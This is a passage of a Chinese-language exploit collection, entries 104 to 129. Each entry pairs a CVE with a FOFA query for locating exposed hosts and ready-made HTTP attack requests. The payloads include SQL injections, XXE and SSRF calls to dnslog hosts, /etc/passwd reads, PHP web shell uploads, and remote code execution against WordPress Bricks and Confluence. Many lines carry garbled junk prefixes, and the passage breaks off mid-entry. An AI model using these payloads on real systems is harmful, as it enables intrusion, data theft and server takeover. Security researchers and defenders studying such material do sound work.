  n. j1 m, g( j+ vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- Z7 S0 [, |$ ~
; l3 X" j" t( z( W# @SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
8 G  [& [2 {: K3 M
* N! l; q: \1 Y+ u
8 e/ E* I8 R/ d( @9 f其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
& W9 D7 u: J6 a, f6 v4 P<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

# g5 u% }( g( W  @: x/ @" j5 Z
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
" l* a4 A6 B( R# c" h4 j1 yCVE-2024-0569
6 F( F, j" a+ o; M  XFOFA：title="TOTOLINK"
9 y* A$ a8 w* Z" kPOST /cgi-bin/cstecgi.cgi HTTP/1.1
; u5 @+ X$ [3 f0 Z% UHost:192.168.0.1
Content-Length:41
  W/ ^6 j5 _6 T* |; |1 N* F, J8 JAccept:application/json,text/javascript，*/*;q=0.01
) x1 Q( q* P* uX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
" z; P7 a* C" C7 r/ c% s7 [Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
# l4 ]2 n0 \- F, qAccept-Encoding:gzip,deflate
0 T4 D) h. x& X* ZAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
1 \" R- s) I8 c" F$ q9 h
{
, _5 z: H% a! e2 s. m3 S. o& }* u"topicurl":"getSysStatusCfg",
"token":""
}
+ u  P9 G  I* F; P
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
3 L: n) ^% d0 ^6 S0 O9 d' T
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 X; \4 ]5 a' I- ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 t0 J  ?! `3 I% u4 TBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
, G$ |6 `6 M; b7 D7 ZAccept-Encoding: gzip, deflate
2 \- K# U" M8 @3 L+ E  U6 fAccept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
7 R$ e9 F5 \8 L9 @: u- jFOFA：body="https://bladex.vip"
; O. t) o% ~4 q' k! j" NGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
- r, n6 l9 X* c: QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& E6 h! E  x- Q( eBlade-Auth:替换为自己的
Connection: close
3 i& O" h( s% @4 x" {1 x6 u( e
, N: x# E  Q, Y- G/ U' C: E
" g8 P* E3 N$ z% U5 V) ]108. D-Tale 3.9.0 SSRF
* p0 T2 w& c+ ?" o. nCVE-2024-21642
& f; K; Z- E' T" J7 \: v( L& SFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
( Y2 l9 W2 H  I. H, d# |% c3 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
6 n$ q7 O  T7 \$ c/ g4 sAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
5 x6 ]/ A$ i2 [# h
' T% I8 O$ x' ~+ Q' s8 G
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
  W. q: t0 x  W& ZPOST /cli?remoting=false HTTP/1.1
5 }0 f. V: r) W* HHost:
% ]9 M* O9 ^$ H* b1 _, t9 wContent-type: application/octet-stream
$ d1 s) ^) o! r$ \: A2 ^9 k+ uSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163
$ f8 X! [, U0 }5 b
( ?2 `3 [" Z  M& i; Z- `$ Db'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

# ~  V5 q1 ?- m! i) C! y
8 P, D8 Z' X0 g4 x9 |POST /cli?remoting=false HTTP/1.1
: C  R* O' M7 i! A) RHost:
' q# w' `6 k6 d  j* r, T* mSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
" ?% u1 m' R- e* K4 ndownload
Content-Type: application/x-www-form-urlencoded
2 b- L+ i0 v% \  jContent-Length: 0
% ~7 K5 ^. e$ v

( @) ^1 P$ u: N- M6 b( e6 hERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
% B3 o9 A+ r5 H7 Zjava -jar jenkins-cli.jar help
[COMMAND]
0 y1 l) N- C! X+ F; Z( R( eLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
1 q$ m9 P4 I4 c: ~3 O# ^
5 I1 W' g0 h5 s
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
  l& C; P7 o( L/ A8 m$ {' NFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
  C4 J) T, a% X) n7 @; k7 n5 W1 k/ GGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
( t3 v6 a( T; d# d* AHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
, A( `* U. A7 D" r3 Y# HAccept-Encoding: gzip
+ v4 q1 ~( w1 X
0 D/ T6 g" k9 ?& O
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
" O- k( \3 u7 c" ]! dFOFA："wordpress" && body="html5-video-player"
7 I& x: d! x2 g8 c) SGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
/ T1 y- U& u2 e: R" hHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' a' L$ n( _/ a/ PConnection: close
Accept: */*
Accept-Language: en
& M0 ~. m: w4 j6 |Accept-Encoding: gzip
0 ~5 g& `1 H& u3 l- e8 A: m
$ Q9 w( a6 b- E9 D; s$ `9 t- m+ v2 u
+ `3 M% d! ~, W( R& G! `' T112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
( ]' e# L! w6 F3 i" |$ }: k1 }  }9 QFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
# w$ s: Q$ \( u# I3 d5 m$ |Host: {{Hostname}}
9 @) u* w( J+ fContent-Type: application/json
3 G5 r4 A' E4 Q
1 I: T1 A8 H7 t9 g{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
4 g. Z% ^: G5 D8 `( ZCVE-2024-27954
: A( U5 ]* _9 R& PFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
& X0 y5 V0 F- k+ d3 S7 h( ^Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
, w! x4 y1 G5 I& qGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
0 S7 M( p4 ~  W5 V9 D0 [
" l' V, P! T) n$ G8 ^
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
! L* i' |  e/ j5 Y1 Q* [1 P第一步，获取网站的nonce值
$ n: h6 r& i5 }* c( X0 [& \GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
! s5 ?& g' M& p+ z/ eConnection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
' q4 l# {: W" e4 O  }* F7 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 ~0 N( j' T) k+ i* J& oConnection: close
Content-Length: 356
' I# h2 |- v- E8 eContent-Type: application/json
Accept-Encoding: gzip
* T  c/ P1 M9 k! M, |" K
{
* M+ x2 s6 c/ M/ O, ], D7 i, }5 B"postId": "1",
; D) r% C+ F% k3 S7 {  "nonce": "第一步获得的值",
/ g9 k9 u5 V& x! Z% b& U  "element": {
    "name": "container",
8 O  _' x: d6 r7 E/ w5 X" t    "settings": {
, L) a% b/ P6 a# x8 i5 R      "hasLoop": "true",
# k$ E, a6 P6 _' l( |& B      "query": {
. m8 q  F( r' V, R) k/ V! ]5 X        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
( r( l! \; w7 g( P% q        "objectType": "post"
% \# B2 x% N7 P! L# ~+ |- S      }
    }
  }
7 C2 ^; e; O# `- r}


116. wordpress js-support-ticket文件上传
1 @$ x( s# h1 sFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
( Z% r( E; a$ L! ?( C) GHost:
/ z8 U+ H2 R6 A/ @9 kContent-Type: multipart/form-data; boundary=--------767099171
- U' m4 ?, e; T  p- H/ v8 A) AUser-Agent: Mozilla/5.0
- N/ R5 }0 t- X) l  ^7 v8 z
, V& u/ k/ c, l7 i! a0 m----------767099171
% v6 H! I9 X# j# W/ i- pContent-Disposition: form-data; name="action"
% }& c9 G% v6 Q. [" u7 jconfiguration_saveconfiguration
" p6 p- S5 v/ Z. |5 q3 [----------767099171
7 K. p$ s1 F( d7 ^3 UContent-Disposition: form-data; name="form_request"
jssupportticket
+ s: Q8 F/ w0 p2 x; X5 q----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
- R! S8 C- {# M! k7 a9 h" q- J

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
' N$ q1 [3 t$ y  x$ b$ _FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
  n5 C+ \, q8 l$ `/ i: aHost: your-ip
/ O# n9 U; }2 H* ]* }- zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 B- [  K/ p* s- cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 F; ]( f. D+ c" _- {Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
4 j& H1 H8 ~& e" L) fCVE-2024-0939
; s4 V0 S8 {% _0 H3 W. mFOFA：title="Smart管理平台"
: m3 @5 b& j' n' i2 R5 bPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
# K; x- C% P) g; X! v) cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- @6 l* t. v$ E( ]' f  w% fContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
. g3 k0 m# v1 ^: `$ eContent-Length: 405
Origin: https://192.168.40.130:8443
* K7 J0 s2 D( c3 r& d4 i# T" G* SReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
& q4 g7 ]/ N3 Z+ J; ^- A8 X. {/ ]Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
) @% |* Z; E( B% MConnection: close
8 o9 p' F, M+ B/ j* y
-----------------------------13979701222747646634037182887
% X  Q' e( [/ ?* D, ]$ n/ I4 w( nContent-Disposition: form-data; name="file_upload"; filename="contents.php"
: ~2 C1 k2 h' z3 pContent-Type: application/octet-stream

+ A5 A; {: J( w4 V<?php
/ ^3 B/ v8 V% i$ Isystem($_POST["passwd"]);
?>
1 C* T$ _& A: s) o& C7 J9 j9 A4 @* I; ?-----------------------------13979701222747646634037182887
7 O  o2 a7 N, z- R. IContent-Disposition: form-data; name="txt_path"
$ W9 B4 B7 I. `. Z
7 |" c( D1 N) v3 _9 W4 a/home/src.php
+ d1 ]' @4 v* `+ j' O5 |-----------------------------13979701222747646634037182887--
+ h# i* ?. ?8 N) T! b* F
% G( E/ l+ C0 U* G
. F# L' G; i" L* @8 e/ ?: ~访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
; W/ q7 Q- |0 J8 q1 H6 B7 M' w- cCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
& y; E" Y4 [+ v* IPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
" d; t) h: k: R& r) eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 S) C. w( O2 ^3 k" PAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
- J1 ?& q5 _% S5 T! d4 aSec-Fetch-Dest: empty
5 _9 J+ ^, |9 _; E! N0 a& ISec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
2 l1 P. N3 s0 k  zX-Remote-Ip: 1.1.1.1
5 j( w6 G9 I5 Y( ]X-Remote-Addr: 1.1.1.1
) S3 p" A9 b7 u/ A7 D3 MTe: trailers
) l- s5 g' k: @! _" c. S! \! e" o, }Connection: close
4 K" [6 T8 n/ l8 D# ], H
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
- L+ {; g+ w# s& m: x$ k0 r

* a- v4 F8 m7 }) Z120. 北京百绰智能S40管理平台导入web.php任意文件上传
' t( }9 K" A  Z2 i2 lCVE-2024-1253
# o' t2 A5 U2 h0 P" S: F2 FFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ \! p5 |% O8 t+ v: j$ J& x  NAccept-Encoding: gzip, deflate
: f" I8 g" D7 `4 PContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
  d: G) ?$ ?2 D) @  C3 c+ VContent-Length: 597
! d5 s. o/ P( r' i/ U- J. vOrigin: https://ip:port
+ j0 R% I  @0 }) S( T/ vReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
# e, Q5 U* B2 h. a& Z2 |Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
! W; g- d* q3 d/ B1 g0 dSec-Fetch-Site: same-origin
7 M- n) e! f$ D; e# ^7 TSec-Fetch-User: ?1
( U, U, c. g7 yTe: trailers
Connection: close
0 z* B3 N0 F$ C) b8 v- ^  e# i
' j9 I+ v3 ~! F: w# G-----------------------------42328904123665875270630079328
9 o# V6 S2 h& a8 l% WContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
- q$ k/ Z, |/ k1 c5 X
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
+ [5 g9 O) Z  i6 n( uContent-Disposition: form-data; name="id_type"

4 u) a7 O# o2 F" O  _4 L1 I1
-----------------------------42328904123665875270630079328
5 I$ ~: b8 I* c1 K' c/ F$ qContent-Disposition: form-data; name="1_ck"
- ~$ F% q$ u( r0 a1 K; ?* z2 \
' k. B1 Y8 l. m- }+ D1_radhttp
-----------------------------42328904123665875270630079328
0 n* o1 @0 A  Q9 l- mContent-Disposition: form-data; name="mode"

import
3 H  e9 ^$ t9 E9 j! _  |+ K/ J-----------------------------42328904123665875270630079328
% S! D% x" e# M; M6 ^
( M3 S$ |+ z' S  e; M
文件路径/upload/2.php
2 H+ Z1 R$ b; G+ C' ^. _
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
- P$ t. ~2 E6 oFOFA：title="Smart管理平台"
" ~: J/ C' J* g: r3 j7 a8 aPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
) a. f6 e8 ?. y; S1 }. D4 oUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 }5 k3 v+ u! G+ ?+ p; A, s0 X2 RAccept-Encoding: gzip, deflate
, M9 z  \3 I5 I: \  o6 t  a. SContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
. {$ ]6 f6 M% J0 m$ KContent-Length: 592
# u. X  L6 F8 l8 S( WOrigin: https://192.168.40.130:8443
$ i& {1 C  `& GUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 n" O: P7 s  }- t8 D0 V$ ySec-Fetch-Mode: navigate
8 m% Q* R2 H' y+ oSec-Fetch-Site: same-origin
$ Q5 f( ]5 J, N! U& z' [$ NSec-Fetch-User: ?1
Te: trailers
Connection: close
/ E1 y  t& [8 R4 d- n
4 G3 m4 {2 `: X) J" t6 m-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
/ r. F6 m" i* K! L$ U+ F7 Z4 pContent-Type: application/octet-stream
, L6 s; O# O* V6 s; d# B8 H
* T4 {- ~7 ~% d/ X6 a0 i7 H  V" z. E<?php phpinfo();?>
' m- \1 X) o( i-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
, w0 w' V) B- z, u) b' @-----------------------------42328904123665875270630079328
! h5 t5 _( y) M6 p. R& lContent-Disposition: form-data; name="hidwel"

0 ?4 t* c# ~' u$ kset
-----------------------------42328904123665875270630079328

" R9 q( N9 I: c9 C2 @
6 v0 J; t  C& Y3 E% D7 tboot/web/upload/weblogo/1.php
' V" L7 g! m* ?: r) p' Z6 Z
7 z- |. U( E+ O5 D122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
/ ]: L4 f" ?4 L' q其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
! w( n# _' Q$ `& _8 tGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
- y! A0 O+ E+ L4 O, vCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
% ~5 H; C' i; ?2 Z4 Z& X: p& [) e5 v9 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' h* `+ |% z# L, W+ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
6 f* j+ e# Y! R' S5 ~+ Z" |& m) QUpgrade-Insecure-Requests: 1
* q$ r/ J% W' [8 o& Y$ \Sec-Fetch-Dest: document
5 }6 _6 Y% L# p5 |4 x+ u7 `/ P! RSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
6 n2 @/ |- z+ k  ^' H* @! sSec-Fetch-User: ?1
Te: trailers
4 |7 p: W+ Y6 T1 q) h5 P- XConnection: close
# R" Q3 M0 x) t: u8 @
3 P& ^; I  C& R. T  u( \+ f6 w
. Z" e1 L% f0 y123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
3 {2 P- J( U! B( W  M9 yPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
- s/ v# g  ?7 u) uAccept: */*
0 ?! j2 w" G2 m+ V; LAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
/ b  R& I( ]$ G) a9 B. m* J; {Connection: close
3 p$ F: v3 T! A& R3 ]' J4 w( LContent-Type: application/x-www-form-urlencoded
8 E5 ]) [( K* n
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
7 G( ~/ q6 D# THost: 192.168.40.130:8282
7 }) N! U# Y$ w5 lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 k( |, a) r" x5 r+ oConnection: close
; H- ~! o+ }& \+ T. WContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
; o+ S1 S# F0 K" c. a9 q2 x
  g- u9 K) m$ ]' L5 v
( m3 ^- {; K! x" [5 R( w+ {http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
. C8 w* O. d8 W% ehttps://github.com/watchtowrlabs ... bypass-add-user-poc

: k3 b; K' |& ?* T. R
5 y3 U) y/ K7 ]8 `) C4 A9 N# E使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
$ e8 G! q) D+ q/ Z2 o# }9 s6 k

7 t! P* M6 {1 I& H7 z& D+ v( |3 F创建好用户后直接登录后台，可以执行系统命令。
' W( t) }/ z; L" m! X7 m% q
126. Aiohttp 路径遍历
9 a8 K# H' ?( s. u" K3 C- \FOFA：title=="ComfyUI"
7 S$ E0 C+ N# @5 L; \) {' zGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
# z. @, e* W2 K/ I0 nAccept: */*
Accept-Language: en
Accept-Encoding: gzip
7 X3 T% Q) x6 ^* Y% d4 L. Q5 `
4 U* _# S4 y6 R( d  |: _
127. 广联达Linkworks DataExchange.ashx XXE
5 `+ f$ b: f$ B. G; o1 J; lFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
& E7 ?- }4 }3 q; t  _Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* l+ X* g+ F" x1 x6 g7 o- s; DContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
& p  a/ D$ m# n. n; r; @. F  Y& APurpose: prefetch
Sec-Purpose: prefetch;prerender

- ~; J' H4 B! b7 ?/ D# ]& ?------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
. n: H# a! F8 P, ?& u
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
. ]+ y8 f  A, w1 oContent-Type: text/plain

# k: D: @8 I2 Z; G( E. p2 c<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
* C$ _( H" _  v0 ]. P>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
3 _; }, X# P. J% `$ d
2 n( F5 s, b& c0 F) N7 W1 [0 \

  f$ q3 b. K5 t( q128. Adobe ColdFusion 反序列化
CVE-2023-38203
& K3 ~% W! {3 o% l% @3 ?9 s4 ^Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
- [; n& V" N( A0 f0 N) wPAYLOAD

129. Adobe ColdFusion 任意文件读取
+ |+ n; m# C* x" A8 R( C$ o- Z' c* xCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
